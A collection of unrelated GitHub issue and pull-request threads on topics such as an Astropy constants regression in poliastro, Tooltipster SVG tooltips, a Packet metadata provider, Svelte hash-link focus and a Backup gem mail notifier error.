Fix master

I made a trivial change in master, and some numerical comparisons failed:
https://travis-ci.org/poliastro/poliastro/builds/251342947
I suspect there has been some update in Astropy, but I don't have enough debugging information right now.

Confirmed that the bug was introduced with Astropy 2.0. Next steps:

[ ] Identify precisely why.
[ ] Ensure we can anticipate these problems (i.e. fix #158).
[ ] Decide if update new values or new tolerances.

Reported by @DanielValmer

The problem comes with the new constants:
http://docs.astropy.org/en/v2.0/changelog.html#astropy-constants
Specifically with the new radius of the Earth.
>>> from astropy.constants import R_earth
>>> R_earth
<<class 'astropy.constants.iau2015.IAU2015'> name='Nominal Earth equatorial radius' value=6356800.0 uncertainty=0.0 unit='m' reference='IAU 2015 Resolution B 3'>
>>> from astropy.constants.astropyconst13 import R_earth as R_earth13
>>> R_earth13
<<class 'astropy.constants.iau2012.IAU2012'> name='Earth equatorial radius' value=6378136.0 uncertainty=0.5 unit='m' reference="Allen's Astrophysical Quantities 4th Ed.">

This diff fixes the issue:
diff --git a/src/poliastro/bodies.py b/src/poliastro/bodies.py
index 1dc9ee3..f06f13a 100644
--- a/src/poliastro/bodies.py
+++ b/src/poliastro/bodies.py
@@ -9,7 +9,7 @@ Contains some predefined bodies of the Solar System:
 and a way to define new bodies (:py:class:`~Body` class).

 """
-from astropy.constants import R_earth
+from astropy.constants import astropyconst13 as constants
 from astropy import units as u

@@ -62,4 +62,4 @@ Sun = Body.from_parameters(
     name="Sun", symbol=u"\u2609", R=695700 * u.km)
 Earth = Body.from_parameters(
     Sun, k=398600 * u.km ** 3 / u.s ** 2,
-    name="Earth", symbol=u"\u2641", R=R_earth.to(u.km))
+    name="Earth", symbol=u"\u2641", R=constants.R_earth.to(u.km))

But I would prefer to update the tests for the new values. Or even better, select a specific version of the constants and don't depend on implicit future updates.

This is the source of the problem:
https://github.com/astropy/astropy/issues/6391
Solution: specify astropy!=2.0.0 in setup scripts.


chore: add suggestion on class naming

LinearInterpolator > Linear to follow the patterns on other objects.

Overall, I believe the decision should be between having an Interpolation directory, and keeping XXXInterpolator in the class names; or having an Interpolator directory, and removing it.


someTweaks

Add Japanese Localization
Add a copy of the "ACE_controlledUAV" definition postInit script. that loaded when there is no ACE.
Change requiredAddons to CBA from ACE.
Change requiredVersion to 2.14 from 2.10.
Revert "onEditChanged" with "onKeyUP". onEditChanged is looks not works good. (all settings force set to 12000m every time at open gui)

Closed and canceled PR. Behavior around the UAV was unexpected....
This may be a more complex requirement than I think....

Hi @Apricot-ale, thanks for the PR - would you be interested in making the Japanese localisation as its own PR? As that'd still be useful.
Ref the onEditChanged bit - can you detail how you recreate the problem, the fact it resets to 12000m shouldn't be anything to do with the eventhandler of onEditChanged

https://github.com/DomT602/Doms-Arma-3-Mods/pull/11 post japanese.
I'll try some situation and post an issue that 12000m reset problem.

https://github.com/DomT602/Doms-Arma-3-Mods/issues/12


Tooltipster not positioning on SVG path correctly

Hey, awesome plugin!
I've attached it to an SVG path (created by Raphael) for some dynamic charts, but I've run into a problem positioning the tooltip properly over the curved paths. It's currently positioned off to one side (see image: I'm hovering over the blue path)

Here's the code used for the tooltip:
$(maleArc1.node).tooltipster({
	 content: 'Male Characters',
	 theme: 'tooltipster-shadow'
 });

I read in other issues that there's currently no way to force the tooltip to follow the mouse pointer, but would you be able to suggest an alternative approach to reposition the tooltip? I'm by no means a developer, just good at guessing with code, so any help would be appreciated.
Thanks!

Hi, thanks for the report. The original author may have tested this library against SVG elements, but I haven't to be honest. Could you please set up a jsFiddle to demonstrate the issue ? Thank you.

Thanks for the reply! Here's the jsFiddle:
https://jsfiddle.net/Lq0uvL74/3/

Also interested in a resolution to this.

That's planned for Tooltipster v4 :)

Hi @louisameline do you have a target date for Tooltipster v4 or for this fix? I'm working on a big project that revolves around an interactive SVG and wanted to use Tooltipster for all of the interactions. The elements that will have tooltips are all circular/elliptical. In my project the tooltips are so close to being in the right position, but not quite... it's maddening! haha. I can provide an additional jsFiddle if you'd like - just let me know.

Hi @kisabelle,
you can try out v4 right now on the v4 branch, I think it works well with SVG, except for the onlyOneoption currently. jQuery's .addClass method does not work on SVG elements and we'll have to patch this at some point if we want to support SVG at 100%.
When you use v4, make sure to read its bundled documentation as there have been breaking a few breaking changes.
For more custom/accurate use cases, I'm still thinking about how to implement what tBaxter talked about but it's not as easy as it sounds. I'll let you know.

@louisameline Thanks!

As I said in the issue referenced above, a solution like SVG.js's "rbox" should find the correct dimensions of an SVG path, but I don't know how many more SVG fixes could be needed in the future, so I haven't decided if we were going to include a fix or just make Tooltipster compatible with the use of an external SVG library that could do the math for us.

Tooltipster v4 now provides improved support of SVG paths, polygons and polylines. Just include SVG.js and its screenBBox plugin in your page and Tooltipster will use them out of the box to compute better coordinates (not perfect ones, but that's the best we can reasonably do with today's browsers). SVG.js's maintainer @Fuzzyma was very quick to work on our issue here and deserves all the credit for this improved support.
A user callback function is also on the way for people who wish to provide element coordinates themselves.

ok I did this:
	<script src="https://code.jquery.com/jquery-1.10.0.min.js"></script>
	<script src="https://rawgit.com/iamceege/tooltipster/v4/demo/svg.min.js"></script>
	<script src="https://rawgit.com/iamceege/tooltipster/v4/demo/svg.screenbox.js"></script>
	<script src="https://rawgit.com/iamceege/tooltipster/v4/dist/js/tooltipster.bundle.min.js"></script>
	<link href="https://rawgit.com/iamceege/tooltipster/v4/dist/css/tooltipster.bundle.min.css" rel="stylesheet" type="text/css" />
	<script>
		function onLoad () { // called by my other code
			console.log($('svg *').length); // 343
			$('svg *').tooltipster ();
		}
	</script>

and in svg I have title nodes in paths. however, I still see standard browser tooltips and nothing like your lib supposed to show?

a ha, you still expect title attributes, not nodes, in svg...

Shouldn't we? I don't know much about svg.

Here is an example of titles in svg: https://jsfiddle.net/f113c5qe/

Done, I added the support of the <title> tag (when no title attribute exists). I moved the support of SVG from Tooltipster core to a plugin however, just include its file and it should work. Thanks for the heads up!

Tooltipster v4 is out. Thank you.
What's new in v4: #565
Migration guide from v3 to v4: #566

I've been trying this out, and I noticed that Tooltipster seems to leave the original <title> element behind, causing both the JS tooltip and the native tooltip to appear at the same time. I got around this by using the functionReady option to manually remove the element myself:
jQuery('.tooltip').tooltipster({
    functionReady: function (instance, helper) {
        var svgTitle = helper.origin.querySelector('title');

        if (svgTitle) {
            helper.origin.removeChild(svgTitle);
        }
    }
});

Tooltipster should probably be doing this without my intervention, though.
Also, unfortunately, the positioning of the tooltip when used on a <tspan> element doesn't seem to work. It positions itself as if it were used on the parent <text> element. Not sure if that's my problem (maybe <tspan> doesn't allow positioning), or a bug?

Thank you for the report. I have fixed the title issue in 4.0.2. I opened a new issue for the positioning on tspan: #567

Thanks!

@ezzatron ha, I did not notice that since I switched to attribute titles and removed title nodes by $('svg title').remove() or similar selector.

@makc I considered that, but having the titles work normally when the SVG is viewed directly seems like a good thing too.


Feature/add html

Completed the notes learned so far from the HTML section, which includes some notes on the other sections

HTML notes look fine, pulling into main branch


[BREAKING] Skydome shader chunk changes + updates to FirstPerson example

removed skyHDRPS and skyEnvPS chunks, and combined them to a single skyPS chunk
added Scene.skyboxHighlightMultiplier API to allow additional brighness for clipped highlights in skydome texture (as our HDR only stores the brighness up to 64, which is not enough for HDR Bloom)
updated FirstPerson example to use new model + render passes with HDR bloom (run it here)

Is that CS map open source?

The linked Sketchfab model suggests it's CC by 4.0:
https://sketchfab.com/3d-models/de-dust-2-with-real-light-4ce74cd95c584ce9b12b5ed9dc418db5


providers: Add support for Packet

Adding support for Packet.
I chose not to vendor packngo and instead just have some structs with the fields I need, but I'm happy to change that.
Also, I don't think there's really a notion of a primary public or private address, so I just grab the first of each in the list.

lgtm, but this is @crawford's baby so I'll defer to him on the final stamp, particularly the choice to ad-hoc the packet structs vs. vendoring is debatable.

Is the lack of a obvious primary address why the GCE IP attributes have the _0 suffix?
Maybe the word private in the attributes should be replaced with local to match the existing providers?
This is the first time I've seen this project so these are as much questions as suggestions.

When we wrote coreos-cloudinit, we attempted to map the network interfaces of different cloud providers to the same set of names (public and private IPv4). This works okay for simple deployments but completely falls apart as soon as you want to do something more than a demo.
With this project, I decided to toss all of that previous thinking and just make the names provider-specific. That's why the names are prefixed with the name of the provider and some providers have more entries than others.
If it's not obvious which interface is the primary, they should just be numbered instead (which is what GCE does) so that the user can make the choice.

@crawford the Packet metadata service only gives a list of addresses that each have a UUID and a boolean public attribute. Would you prefer something like this:
PACKET_IPV4_PUBLIC_UUID_0=3012704c-4dc1-11e6-bb29-cb949cdb635a
PACKET_IPV4_PUBLIC_ADDR_0=<IP_ADDRESS>

Or just PACKET_ADDRESS_{index}_{attribute} for all the attributes the metadata service provides?
There's a gist of the actual data here.

Is that UUID predictable? If so, it might make sense to include that in the variable name.
I would just include the IP address. I don't think the other fields are particularly useful. We can add them later if they are needed though.

@crawford the UUID is the same for the lifetime of the server as far as I know, if that's what you mean.
If the UUID is in the variable, how would the public / private status be encoded? Also, I think you can have dashes in environment variable names, but it seems pretty unusual.

Anyway, I don't have a strong opinion, I'm happy to format this however you want, but I think my vote would be for PACKET_NETWORK_{index}_{attribute} and maybe only include UUID, family, address, and public for now. So, something like:
PACKET_ADDRESS_0_UUID=5bc0cb8c-4ddd-11e6-853c-bfe22a816f1b
PACKET_ADDRESS_0_PUBLIC=true
PACKET_ADDRESS_0_FAMILY=4
PACKET_ADDRESS_0_ADDRESS=<IP_ADDRESS>

Maybe sub PACKET_NETWORK_ for PACKET_ADDRESS_...
Let me know, and I'll get this updated.

The UUID isn't super useful, it's just the ID of the address assignment, so it won't change for any of the non-elastic IPs.

Yeah, and on second thought, we probably want the family and public / private status encoded in the variable name. I think the most common use-case is "give me the first public IPv4 address".
So, maybe just PACKET_IPV4_PUBLIC_<index> and similar for private and the IPv6 addresses. Does that work?

Yep, I think so.

Sounds good.

So, I noticed a potential bug in our API the other day. We might not be always returning the correct first IP first. We'll want to confirm that before this goes out.

Updated. Let me know if there's anything else. Happy to vendor packngo if that's preferred.

Let's go ahead and vendor packngo. That way it's obvious who owns the structures.

Vendored the metadata subpackage from packngo and updated the provider to use that, though it still uses our client to fetch the metadata so that we get retries. Also updated the README.

LGTM


Fix any() example, add more

One any example was wrong.  Fixed, and also added more to clarify other cases.

Coverage remained the same at 100.0% when pulling 1a9f984d5ac1186575244baa8f120c8addba75e8 on fix-any-examples into 4472a7b4ba28115cc8046d3e77a8953c42dbce83 on master.

Coverage remained the same at 100.0% when pulling da364d3f78ccd07e659f055ce5936305f3c51204 on fix-any-examples into 4472a7b4ba28115cc8046d3e77a8953c42dbce83 on master.


[Bug] iOS styles are overriding DS styles

TextInput - Borders should not be rounded
Multiselect - Left borders should not be rounded

Issue brought up in this comment

Here’s what I’m seeing (mobile):
Chrome and Safari
Safari See left corners of multiselect

@meissadia is this fixed?


Docs: Suggestions from following the Getting Started guide

I've added a few pointers for things I got stuck on or had to check when following the 'Getting Started' guide in the book.
Some of these will be helpful for Rust devs that aren't that familiar with app development, and others hopefully avoid getting stuck where there's sensitivity to exact naming or setup.

I did also wonder, for iOS you add the targets to rust-toolchain.toml
[toolchain]
channel = "stable"
components = ["rustfmt", "rustc-dev"]
targets = [
  "aarch64-apple-darwin",
  "aarch64-apple-ios",
  "aarch64-apple-ios-sim",
  "aarch64-linux-android",
  "wasm32-unknown-unknown",
  "x86_64-apple-ios"
]
profile = "minimal"

Why dont' you also add the Android ones, that instead we installed by manually running rustup later?
$ rustup target add aarch64-linux-android armv7-linux-androideabi i686-linux-android x86_64-linux-android

to have this:
[toolchain]
channel = "stable"
components = ["rustfmt", "rustc-dev"]
targets = [
  "aarch64-apple-darwin",
  "aarch64-apple-ios",
  "aarch64-apple-ios-sim",
  "aarch64-linux-android",
  "armv7-linux-androideabi",
  "i686-linux-android",
  "wasm32-unknown-unknown",
  "x86_64-apple-darwin",
  "x86_64-apple-ios",
  "x86_64-linux-android",
]
profile = "minimal"

Last point I'm not sure about is your build.gradle examples look like this:
dependencies {
    // our shared library
    implementation project(path: ':shared')

    def composeBom = platform('androidx.compose:compose-bom:2022.10.00')
    implementation composeBom
    androidTestImplementation composeBom

    implementation 'androidx.compose.material3:material3:1.2.0-beta01'
    ...
}

whereas the ones Android Studio generated for me look like
dependencies {
    // our shared library
    implementation project(path: ":shared")

    implementation libs.androidx.core.ktx
    implementation libs.androidx.lifecycle.runtime.ktx
    implementation libs.androidx.activity.compose
   ...
}

It wasn't that hard to mentally diff them and add the bits needed but it's a little confusing for a noob! I'd hazard a guess it's best-practice to give fixed versions but for a tutorial that might also be a bit brittle (i.e. might just stop working in a few months/years?)
(I did also have to click something that then added implementation libs.androidx.lifecycle.viewmodel.compose in lieu of implementation("androidx.lifecycle:lifecycle-viewmodel-compose:2.6.2") but that will be because I missed it when manually diff'ing.)


HANA Cloud Trial : Could not get service plan metadata

Dear Team,
I have an SAP HANA Cloud instance on BTP trial, CF space. But now I am not able to manage SAP HANA Cloud instances after logging into SAP HANA Cloud Central. Kindly check this or help me understand if anything to be done from my side.
I had created HANA Cloud instance few months back and was able to deploy HDI containers. I have recently extended the trial period.

Thanks in Advance.
Regards
Chandra Dutt

Can you open this issue in the https://github.com/SAPDocuments/Issues/issues/ repo?


Added some build artifacts to gitignore

Build artifacts for my compile... maybe I did something wrong, but this seems like a useful thing to have.

Merged, thanks for the contributions!


WIP - Catch signals while running terraform commands to allow clean termination

Description of your changes
Add signal handling when calling terraform commands that lock state so that the command can be gracefully terminated to clean up the workspace state locking.
Fixes #46
I have:

[X] Read and followed Crossplane's contribution process.
[X] Run make reviewable test to ensure this PR is ready for review.

How has this code been tested
Created a Workspace that has a terraform time_sleep resource with create_timeout set to 5 minutes and uses the terraform kubernetes backend
While tailing the pod log apply the workspace and observe that the reconcile of the workspace starts
Retrieve the list of kubernetes lease resources and observe that there is a lease for the specified workspace
Terminate the provider pod and observe in the logs that the process gets terminated.   Observe that the Lease for the workspace has been deleted.

This PR has been moved to the new repository:  https://github.com/upbound/provider-terraform/pull/231


Distributive Coproducts

Define coproducts (as dual of products?)
Let C be a cartesian category. A coproduct cocone is distributive if it is preserved by the functor a \times - for every a.
(Stretch) By RAPL: if C is cartesian closed, any coproduct is distributive.

I started work on this -- got ⊥ᴾ, +ᴾ, and Σᴾ defined cleanly as duals of the analogue definitions in UMP.agda.
Question about unarySum (analogue of UnaryProduct) + product, nestedproduct... etc. -- we want these to be statements about C and not Cop yes? So a degree of unwrapping should be done for these?
Also, what exactly to push and preserve do in UMP? looks like they lift a functor to a presheaf homomorphism? What are they used for?

Question about unarySum (analogue of UnaryProduct) + product, nestedproduct... etc. -- we want these to be statements about C and not Cop yes? I.e. the IsUniversal should be happening on C? So should a degree of unwrapping should be done for these, or are we content with it IsUniversal in the opposite category?

If we could get away with it, we could just not define any of unarySum, nestedSum etc. Let's try working directly with the definition in terms of product on the opposite category and only redefine things if it gets too complex to keep track of.
push and preserve are there to formalize what it means for a functor to preserve a universal property. For instance preserving products means that the product projections (i.e., the universal "cone") get mapped to product projections/cone in the codomain. The definition here (https://github.com/maxsnew/multi-poly-cats/blob/main/UMP.agda#L54) defines what it means that a cone gets mapped to a cone at all.

Think I have coproducts + coproduct cocone defined appropriately as dual constructions here. Would you mind taking a look and seeing if this is the direction you were envisioning?
Also, would be nice to chat about step 2 -- not really sure where to begin to state and prove a proposition as a type...

Those all look good. Step 2 above I think is a definition. Then you want to show if a category is CCC then any coproduct is distributive. As discussed in class, this follows from the more general RAPL theorem, so it might be worth proving that first. IIRC RAPL is proved in the Cubical stdlib already but their definition of limits is not in terms of representability so another strategy would be to define limits in terms of representability and prove it equivalent to the definition in the stdlib.

Going through the workflow we chatted about to define the (a \times -) functor, but think I forgot a few of the steps: I have the following written down:

[x] Define the Diagonal functor from C -> C \timesC C (product of cats defined in cubical Constructions.BinProd )
[ ] Prove forall a b that a \times b is a product
[ ] Define - \times - from C \timesC C -> C
[ ] Define a \times - as the composition of C -> 1 \times C -> C \times C -> C

I'm blanking on what you had meant by step 2. I know we defined the diagonal to eventually be the adjoint of the prod functor, but not sure exactly what you mean by step 2, or how defining the diagonal lets you more easily define - \times -

Step 2 is implementing https://github.com/maxsnew/multi-poly-cats/issues/7 and then using that to construct the product functor


submission of Assignment 1 and fix for yf data download in 02_data_en…

…gineer
ing.ipynb
What changes are you trying to make? (e.g. Adding or removing code, refactoring existing code, adding reports)
create features from data_manager
What did you learn from the changes you have made?
load environment, find parquet files, create new features using dask dataframe
Was there another approach you were thinking about making? If so, what approach(es) were you thinking of?
no
Were there any challenges? If so, what issue(s) did you face? How did you overcome it?
yes, get familiarize with the concepts and the functions
How were these changes tested?
yes
A reference to a related issue in your repository (if applicable)
Checklist

[Y] I can confirm that my changes are working as intended

a1: Incomplete
Please address the following errors in your code for submission:

a1: Incomplete
Please address the following errors in your code for submission:

I add a repartition command and I don't know how to solve it in another way. If it does not work, pls provide some guidance.


Updated storage client

(If this PR fixes a github issue, please add Fixes #<xyz>.)
Fixes #
(or if this PR is one task of a github issue, please add Master Issue: #<xyz> to link to the master issue.)
Master Issue: #
Motivation
Explain here the context, and why you're making that change. What is the problem you're trying to solve.
Modifications
Describe the modifications you've done.
Verifying this change

[ ] Make sure that the change passes the CI checks.

(Please pick either of the following options)
This change is a trivial rework / code cleanup without any test coverage.
(or)
This change is already covered by existing tests, such as (please describe tests).
(or)
This change added tests and can be verified as follows:
(example:)

Added integration tests for end-to-end deployment with large payloads (10MB)
Extended integration test for recovery after broker failure

Does this pull request potentially affect one of the following parts:
If yes was chosen, please highlight the changes

Dependencies (does it add or upgrade a dependency): (yes / no)
The public API: (yes / no)
The schema: (yes / no / don't know)
The default values of configurations: (yes / no)
The wire protocol: (yes / no)
The rest endpoints: (yes / no)
The admin cli options: (yes / no)
Anything that affects deployment: (yes / no / don't know)

Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)
If a feature is not applicable for documentation, explain why?
If a feature is not documented yet in this PR, please create a followup issue for adding the documentation

@david-streamlio Can you help to update the description of pull request?

move to 2.8.0 first

Closed as stale and conflict. Please rebase and submit a new patch if it's still relevant.


lambda es-loader datetime.fromisoformat does not work with most ISO strings

Issue
I am trying to ingest a non-AWS service log as mentioned in the documentation. The log contains an ISO 8601 timestamp such as this one: 2023-10-06T22:03:35.2807476Z. Unfortunately, the ingestion of such logs has not been successful.
I tried to debug the lambda es-loader and I have found that Python returns ValueError: Invalid isoformat string: 2023-10-06T22:03:35.2807476Z
In the Python documentation it specifies that this method only works for certain specific strings up to Python 3.11

Changed in version 3.11: Previously, this method only supported formats that could be emitted by date.isoformat() or datetime.isoformat().

Furthermore, I have tried to use a custom timestamp_format but as before, it doesn't work. I used the following timestamp format: %Y-%m-%dT%H:%M:%S.%f%z. Unfortunately, Python datetime.strptime function is only capable of parsing 6 microseconds digits in a string. Trying to parse the datetime I already mentioned just result in another ValueError: time data does not match format.
Possible Solution
I have created a Pull Request that fixes the ISO 8601 issue that I mentioned using the dateutil-python PyPI package: https://github.com/aws-samples/siem-on-amazon-opensearch-service/pull/421

P.s. I forgot to mention that your work is incredible!

Thanks for the feedback and PR. We will investigate it.

Hi, when you use nano seconds, please use timestamp_nano = True.
https://github.com/aws-samples/siem-on-amazon-opensearch-service/blob/v2.10.2/source/lambda/es_loader/aws.ini#L205

Thanks so much


Functioning Metadata Popup

Closes #35
This PR adds a simple metadata popup to the classifier. The design is based on the metadata popup in PFE. Hover states are also added to the CSS of toolbar buttons.

Nice! Approved, now merging.


Adding support for local SGD.

Hi,
As discussed with @muellerzr , I am adding a non-breaking functionality to support local SGD, which enables efficient multi-GPU training in the case when no fast interconnect is possible. It is a more stable and reliable alternative to gradient accumulation (they can be used jointly when needed too). I ran rather extensive tests to compare both. Unfortunately, even with all the proper code, gradient accumulation is quite finicky and you do not want to use it as a speed up approach.
Here is a link to the summary of results and benchmarking code.
It is not clear what kind of unit test can test this kind of functionality. The key ingredient (disabling gradient synchronization is being tested already).

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.

Thank you for the feedback. I will make the changes and I want to re-run the tests too. Actually, it looks like the number for the gradient accumulation are so weird, b/c the number of steps per epoch (for historical reasons) is divided by the number of accumulation steps (which wasn't noticed until recently) and I suspect this is not right. Also as noted by @muellerzr it is clearly being trained using less data, but the reason IMHO isn't the drift in the batch size, but just the reduction of the training set.


fix: hash link to new page focuses the correct element

fixes https://github.com/sveltejs/kit/issues/3770
As suggested by mrkishi and jasonlyu:
~This PR replaces the current scrollIntoView() with window.location.replace to scroll to and focus the deep linked element correctly since location.replace is almost 1:1 behaviour with natively clicking a hash link in the browser.~
EDIT: we can use location.replace(url.hash) to perfectly set the Sequential Focus Navigation Start Point. It just needs to happen in the reset_focus method. It works!
Tested on Chrome, Firefox, Safari.
https://stackblitz.com/edit/sveltejs-kit-template-default-pxskqg?file=src%2Froutes%2F%2Blayout.svelte
Please don't delete this checklist! Before submitting the PR, please make sure you do the following:

[x] It's really useful if your PR references an issue where it is discussed ahead of time. In many cases, features are absent for a reason. For large changes, please create an RFC: https://github.com/sveltejs/rfcs
[x] This message body should clearly illustrate what problems it solves.
[x] Ideally, include a test that fails without this PR but passes with it.

Tests

[x] Run the tests with pnpm test and lint the project with pnpm lint and pnpm check

Changesets

[x] If your PR makes a change that should be noted in one or more packages' changelogs, generate a changeset by running pnpm changeset and following the prompts. Changesets that add features should be minor and those that fix bugs should be patch. Please prefix changeset messages with feat:, fix:, or chore:.

@s3812497 the tests seem to be having an issue on this PR. I reran them to check if it's a fluke, but lots are still failing

@benmccann turns out it was an implementation issue. The focus was getting reset to the body after scrolling and focusing to the fragment identifier.

Great. Now Firefox is being inconsistent. We might have to go with option 1:

Make the target focusable, focus it and revert it. the downside is it would cause the focus ring to show up. And it's not the same as the normal hash link behaviour. But it doesn't create any dummy element.

It would also trigger the focus, blur, and focusout events but it works in all three browsers.

Found a fix(?) for the issue where Firefox sets the history state to null if we call location.replace but with the same hash as before. This also a potential alternative to https://github.com/sveltejs/kit/pull/10032
Here's the link to the bug in the Firefox issue tracker https://bugzilla.mozilla.org/show_bug.cgi?id=1199924

Here's the link to the bug in the Firefox issue tracker https://bugzilla.mozilla.org/show_bug.cgi?id=1199924

9 years ago - so we probably shouldn't wait for them to fix this :laughing: Although they did just fix a 25 yr old bug https://news.ycombinator.com/item?id=40431444

preview: https://svelte-dev-git-preview-kit-10856-svelte.vercel.app/
this is an automated message


fix: upvote widget not rendered when comment is collapsed

Description
The upvote widget is now hidden when comments are collapsed, making them not zappable. Fixes #1572
Screenshots
master:

fixed:

The top comment is not upvotable when collapsed anymore.
Additional Context
As of now the button is simply not rendered. I don't know if it's desirable to add a graphical widget which does nothing but still appears on collapsed comments.
Checklist
Are your changes backwards compatible? Please answer below: Yes, as soon as the feature was not relying on zapping collapsed comments by clicking on the button (I hardly believe so).
On a scale of 1-10 how well and how have you QA'd this change and any features it might affect? Please answer below: 8. I have tested it on a variety of threads, however I have not written any unit test as the test suite for this specific component was not initialized yet.
For frontend changes: Tested on mobile? Please answer below: Yes, everything works correctly.
Did you introduce any new environment variables? If so, call them out explicitly here: No

Welcome!
We still want the bolt to take up horizontal space - we just need it to not be clickable/make a zap when the comment is collapsed. That way, there isn't horizontal shift when a comment is collapsed/uncollapsed. Does that make sense?

Done, this is how collapsed comments look right now:

This new solution should cache the icon, making it faster to load as well when a comment is un-collapsed (I haven't perceived any difference myself but I am on a desktop and with high bandwidth).

Could we simply set disabled = true rather than adding another condition?

It could be possible to merge these two variables in the styling node (the call to classNames). However, If I have understood the code correctly, disabled means that the user cannot upvote the comment, adding the noSelfTips CSS class. In this case, !visible means that the user may upvote the comment, but the button is not currently visible.
I believe it may be more solid to have two separate variables for these states, but I am not a React expert so if you have any suggestion on how it could be implemented I will fix the PR as soon as I can. Also, I am not sure if it's possible to remove the visible argument from the widget as this option depends on the value of the collapse string in the parent comment component.

My suggestion would be to set disabled = true when the comment is collapsed if it's possible. If the comment isn't collapsed, leave disabled as it is.
If that's not possible, all good and you can leave it as is.

Sure, I believe it's possible, but I will give a look into it tomorrow and updated the PR as soon as possible.

I have made some modifications to use the disabled condition only when doing the checks for rendering, let me know if you prefer this version or revert to the old one. Unfortunately I didn't find a way to remove the visible argument as item does not contain any information about the comment being collapsed or not. An alternative would be to parse the classNames argument checking for a specific class which indicates the comment is collapsed, but it is slower and I find it to be less intuitive as well.

Do you have a lightning address I can send the sats to?

Thanks @huumn :) you can send the reward to<EMAIL_ADDRESS>


using global config for Mail notification config fails

If I set the mail config in the config.rb and call it from the model I get this error:
9:25:08<EMAIL_ADDRESS>~ backup perform -t jenkins
[2012/01/15 09:25:42][message] Performing backup for Jenkins config backups!
[2012/01/15 09:25:42][message] Backup::Archive started packaging and archiving:
[2012/01/15 09:25:42][message]   /tmp
[2012/01/15 09:25:42][message] Backup::Packager started packaging the backup files.
[2012/01/15 09:25:42][message] Backup::Compressor::Gzip started compressing the archive.
[2012/01/15 09:25:42][message] Backup::Encryptor::OpenSSL started encrypting the archive.
[2012/01/15 09:25:44][message] Storage::S3 started transferring '2<IP_ADDRESS>.25.38.jenkins.tar.gz.enc' to bucket 'voxeo-labs-backups'
[2012/01/15 09:25:44][message] Backup::Notifier::Mail started notifying about the process.
[2012/01/15 09:25:44][error] ModelError: Backup for Jenkins config backups (jenkins) Failed!
[2012/01/15 09:25:44][error]   An Error occured which has caused this Backup to abort before completion.
[2012/01/15 09:25:44][error]   Please review the Log for this Backup to determine if steps need to be taken
[2012/01/15 09:25:44][error]   to clean up, based on the point at which the failure occured.
[2012/01/15 09:25:44][error]   Reason: ArgumentError
[2012/01/15 09:25:44][error]   A sender (Return-Path, Sender or From) required to send a message
[2012/01/15 09:25:44][error]
[2012/01/15 09:25:44][error] Backtrace:
[2012/01/15 09:25:44][error] /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/mail-2.3.0/lib/mail/network/delivery_methods/smtp.rb:97:in `deliver!'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/mail-2.3.0/lib/mail/message.rb:245:in `deliver!'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/notifier/mail.rb:142:in `notify!'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/notifier/base.rb:66:in `perform!'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/notifier/mail.rb:102:in `perform!'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/model.rb:250:in `block in perform!'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/model.rb:250:in `each'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/model.rb:250:in `perform!'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/cli/utility.rb:72:in `block in perform'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/cli/utility.rb:51:in `each'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/lib/backup/cli/utility.rb:51:in `perform'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/thor-0.14.6/lib/thor/task.rb:22:in `run'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/thor-0.14.6/lib/thor/invocation.rb:118:in `invoke_task'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/thor-0.14.6/lib/thor.rb:263:in `dispatch'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/thor-0.14.6/lib/thor/base.rb:389:in `start'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/gems/backup-3.0.20/bin/backup:11:in `<top (required)>'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/bin/backup:19:in `load'
[2012/01/15 09:25:44][error]   /Users/jdyer/.rvm/gems/ruby-1.9.3-p0@global/bin/backup:19:in `<main>'
[2012/01/15 09:25:44][message] ModelError: If you have other Backup jobs (triggers) configured to run,
[2012/01/15 09:25:44][message]   Backup will now attempt to continue...
[2012/01/15 09:25:44][message] Backup::Notifier::Mail started notifying about the process.
[2012/01/15 09:25:44][message] Backup::Cleaner started cleaning up the temporary files.

Config.rb
# encoding: utf-8

##
# Backup
# Generated Main Config Template
#
# For more information:
#
# View the Git repository at https://github.com/meskyanichi/backup
# View the Wiki/Documentation at https://github.com/meskyanichi/backup/wiki
# View the issue log at https://github.com/meskyanichi/backup/issues

##
# Global Configuration
# Add more (or remove) global configuration below
Backup::Configuration::Storage::S3.defaults do |s3|
   s3.access_key_id     = "____"
   s3.secret_access_key = "_____"
end

Backup::Configuration::Encryptor::OpenSSL.defaults do |encryption|
  encryption.password = "_____"
  encryption.base64   = true
  encryption.salt     = true
end

Backup::Configuration::Compressor::Gzip.defaults do |compression|
  compression.best = true
end

##
# Load all models from the models directory (after the above global configuration blocks)
Dir[File.join(File.dirname(Backup::CONFIG_FILE), "models", "*.rb")].each do |model|
  instance_eval(File.read(model))
end

